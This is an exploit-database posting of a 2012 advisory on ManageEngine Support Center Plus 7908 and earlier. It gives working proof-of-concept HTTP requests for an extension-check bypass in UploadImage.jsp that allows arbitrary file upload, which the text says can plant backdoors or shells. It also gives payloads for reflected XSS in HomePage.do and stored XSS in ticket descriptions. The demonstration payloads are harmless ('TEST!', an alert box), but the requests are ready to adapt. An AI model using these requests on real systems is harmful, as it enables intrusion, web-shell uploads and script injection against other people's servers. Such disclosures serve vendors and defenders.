Home / exploitsPDF  

ManageEngine Support Center Plus 7908 XSS / Shell Upload

Posted on 19 October 2012

+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : ManageEngine Support Center Plus <=7908 Multiple Vulnerabilities # Date : 06-03-2012 # Author : xistence (xistence<[AT]>0x90.nl) # Software link : http://www.manageengine.com/products/support-center/64045241/ManageEngine_SupportCenter_Plus_7_9_0_SP-0_8_0.ppm # Vendor site : http://www.manageengine.com/ # Version : 7908 and lower # Tested on : CentOS 5.x +--------------------------------------------------------------------------------------------------------------------------------+ 1) Arbitrary File Upload (File Extension Verification Bypass) It's possible to bypass the image extension check in the ticket creation editor. Normally you would go to Requests -> New Request -> select the "Insert Image" to upload a picture to be included in the ticket and is restricted to jpg/gif/png files. If you send a POST request directly to the /jsp/UploadImage.jsp?Module=Workorder url you'll be able to upload any file. This might lead to uploading web site files which could be used for malicious actions (backdoors/shells). Below a sample POST request, note that a valid cookie is needed (and be authenticated) to perform these actions. The POST request uploads a file test.txt with the contents "TEST!" POST /jsp/UploadImage.jsp?Module=WorkOrder HTTP/1.1 Host: exploitme:8080 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Length: 231 Content-Type: multipart/form-data; boundary=---------------------------135769595918512168611930018855 Content-Length: 231 -----------------------------135769595918512168611930018855 Content-Disposition: form-data; name="img_file"; filename="test.txt" Content-Type: image/gif TEST! -----------------------------135769595918512168611930018855-- In the HTTP response you'll see this: <script>var formName = parent.document.getElementById("FORMNAME").value; var opts = parent.document.forms[formName].INLINEIMAGES.options; var imgName = "1340090056957.txt"; var option = new Option(imgName, imgName); option.selected = true; opts[opts.length] = option; // parent.showImage("WorkOrder","2","1340090056957.txt"); parent.ZE.activeEditor.previewImage("/inline/"+"WorkOrder"+"/"+"2"+"/"+"1340090056957.txt");//No i18n</script> Which makes the following url accessable and will show the "TEST!" in clear text: http://<IP ADDRESS>:8080/inline/WorkOrder/2/1340090056957.txt 2) Reflected XSS Proof of Concept: http://<IP ADDRESS>:8080/HomePage.do?fromCustomer=%27;alert%28%22Hello%20World%22%29;%20var%20frompor=%27null 3) Stored XSS vulnerability How to replicate: Requests -> New Request Subject: anything Description window -> select Edit HTML button -> Insert script code i.e.: <script>alert("Hello World")</script> POST request headers: POST /WorkOrder.do HTTP/1.1 Host: exploitme:8080 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 312 reqTemplate=&prodId=0&priority=2&reqID=2&usertypename=Requester&reqName=Guest&category=0&item=0&subCategory=0&title=bla&description=bla%3Cscript%3Ealert%28%22Hello+World%22%29%3C%2Fscript%3E&MOD_IND=WorkOrder&FORMNAME=WorkOrderForm&attach=&attPath=&component=Request&attSize=&attachments=&autoCCList=&addWO=addWO

 

TOP